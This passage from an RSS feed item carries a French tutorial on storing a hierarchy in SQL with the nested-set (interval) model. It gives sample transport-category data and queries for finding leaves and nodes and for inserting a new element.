INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;32, 33, 'Trail'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;36, 43, 'Marin'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;37, 38, 'Planche à voile'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;39, 40, 'Paquebot'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;41, 42, 'Voilier'&#41;<br />
<br />
<br />
Recherches dans l'arbre<br />
Les requètes de recherche sont maintenant très simplifiées:<br />
Recherche des "feuilles"<br />
Une feuille est un élément final, donc l'écart entre sa borne gauche et sa borne droite est de 1:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG = 1<br />
<br />
Recherche des feuilles d'une branche<br />
Les bornes d'une branche indiquent les éléments précédents et suivant, il nous suffit donc de lister tous les éléments dont les bornes sont strictement comprises entre BG et BD de la branche pour avoir l'intégralité des sous-éléments.<br />
Par exemple pour la famille "terrestre" donc BG=22 et BD=35:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG = 1<br />
AND NFM_BG &gt; 22<br />
AND NFM_BD &lt; 35<br />
<br />
Recherche des noeuds<br />
Un noeud se caractérise par le fait que BD-BG est supérieur à 1:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG &gt; 1<br />
<br />
<br />
Insertions<br />
L'insertion d'un élément oblige bien évidemment à faire plusieurs requètes:<br />
La première pour décaler les bornes droites des éléments suivants ainsi que du parent, la seconde pour décaler les bornes gauches des éléments suivants et enfin la dernière pour insérer le nouvel élément.<br />
<br />
Ainsi, si l'on veut ajouter un élément "Roller" dans la famille terrestre, il va falloir:<br />
<br />
<br />
Augmenter de 2 la valeur de toutes les bornes droites dont la valeur initiale est supérieur ou égale à 35 (ce qui inclut le parent),<br />
Augnemter de 2 la valeur des toutes les bornes gauches dont la valeur initiale est supérieure ou égale à 35 (ce qui exclut le parent),<br />
Insérer le nouvel élément.<br />
<br />
Code SQL :<br />
UPDATE NEW_FAMILLE SET NFM_BD = NFM_BD + 2 WHERE NFM_BD &gt;= 35<br />
UPDATE NEW_FAMILLE SET NFM_BG = NFM_BG + 2 WHERE NFM_BG &gt;= 35<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;35, 36, 'Roller'&#41;<br />
]]></description>
			<content:encoded><![CDATA[Lorsqu'on veut représenter une hiérarchie (une arborescence), la méthode la plus couramment utilisée est la structure par auto-jointure, c'est à dire avec une relation parent/enfant.<br />
<br />
Représentation graphique de l'arborescence<br />
S'il est facile de trouver le parent d'un élément ou les élements enfants de premier niveau avec des requètes simples, ça se complique énormément sitôt que l'on veut aller à des niveaux plus bas, il faut utiliser des requètes récursives qui ne peuvent pas être mises en place partout.<br />
Ce système de classification est donc à proscrire si au moins l'une des conditions ci-dessous est vérifiée:<br />
<br />
l'arbre est profond (plus de 5 niveaux)<br />
l'arbre est large (plus de 100 éléments sur un même niveau)<br />
l'arbre contient beaucoup de valeurs (à partir de 200 à 300 éléments)<br />
la majorité des requêtes sont des requêtes d'interrogation - SELECT (au moins 50% des requêtes)<br />
<br />
Il existe une seconde méthode qui nécessite un peu plus de travail pour la modélisation mais qui s'avère payante sitôt qu'on en a pris l'habitude: la représentation intervallaire.<br />
<br />
Le principe est de donner à chaque élément ses bornes "gauche" et "droite". L'attribution des valeurs de ces bornes se fait en parcourant l'arbre comme si l'on traçait une ligne pour l'entourer au plus près sans jamais croiser cette ligne avec une branche et en numérotant séquentiellement chaque feuille ou nœud une première fois par le bord gauche et une seconde fois par le bord droit.<br />
<br />
Représentation graphique de l'arborescence<br />
<br />
On peut aussi représenter cette nouvelle arborescence sous forme de "tranches":<br />
<br />
Représentation par tranches<br />
<br />
Voici la requète de création (et de remplissage) de la table représentant cette structure:<br />
Code SQL :<br />
CREATE TABLE NEW_FAMILLE &#40;<br />
&nbsp; &nbsp;NFM_BG INTEGER,<br />
&nbsp; &nbsp;NFM_BD INTEGER,<br />
&nbsp; &nbsp;NFM_LIB VARCHAR&#40;16&#41;<br />
&#41;<br />
<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;1, 44, 'Transport'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;2, 21, 'Aérien'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;3, 4, 'Planeur'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;5, 6, 'Parachute'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;7, 8, 'Hélico'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;9, 10, 'Fusée'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;11, 12, 'ULM'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;13, 20, 'Avion'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;14, 15, 'Militaire'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;16, 17, 'Tourisme'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;18, 19, 'Civil'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;22, 35, 'Terrestre'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;23, 24, 'Vélo'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;25, 26, 'Voiture'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;27, 28, 'Camion'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;29, 34, 'Moto'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;30, 31, 'Side-car'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;32, 33, 'Trail'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;36, 43, 'Marin'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;37, 38, 'Planche à voile'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;39, 40, 'Paquebot'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;41, 42, 'Voilier'&#41;<br />
<br />
<br />
Recherches dans l'arbre<br />
Les requètes de recherche sont maintenant très simplifiées:<br />
Recherche des "feuilles"<br />
Une feuille est un élément final, donc l'écart entre sa borne gauche et sa borne droite est de 1:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG = 1<br />
<br />
Recherche des feuilles d'une branche<br />
Les bornes d'une branche indiquent les éléments précédents et suivant, il nous suffit donc de lister tous les éléments dont les bornes sont strictement comprises entre BG et BD de la branche pour avoir l'intégralité des sous-éléments.<br />
Par exemple pour la famille "terrestre" donc BG=22 et BD=35:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG = 1<br />
AND NFM_BG &gt; 22<br />
AND NFM_BD &lt; 35<br />
<br />
Recherche des noeuds<br />
Un noeud se caractérise par le fait que BD-BG est supérieur à 1:<br />
Code SQL :<br />
SELECT *<br />
FROM NEW_FAMILLE<br />
WHERE NFM_BD - NFM_BG &gt; 1<br />
<br />
<br />
Insertions<br />
L'insertion d'un élément oblige bien évidemment à faire plusieurs requètes:<br />
La première pour décaler les bornes droites des éléments suivants ainsi que du parent, la seconde pour décaler les bornes gauches des éléments suivants et enfin la dernière pour insérer le nouvel élément.<br />
<br />
Ainsi, si l'on veut ajouter un élément "Roller" dans la famille terrestre, il va falloir:<br />
<br />
<br />
Augmenter de 2 la valeur de toutes les bornes droites dont la valeur initiale est supérieur ou égale à 35 (ce qui inclut le parent),<br />
Augnemter de 2 la valeur des toutes les bornes gauches dont la valeur initiale est supérieure ou égale à 35 (ce qui exclut le parent),<br />
Insérer le nouvel élément.<br />
<br />
Code SQL :<br />
UPDATE NEW_FAMILLE SET NFM_BD = NFM_BD + 2 WHERE NFM_BD &gt;= 35<br />
UPDATE NEW_FAMILLE SET NFM_BG = NFM_BG + 2 WHERE NFM_BG &gt;= 35<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;35, 36, 'Roller'&#41;<br />
]]></content:encoded>
		</item>
	</channel>
</rss>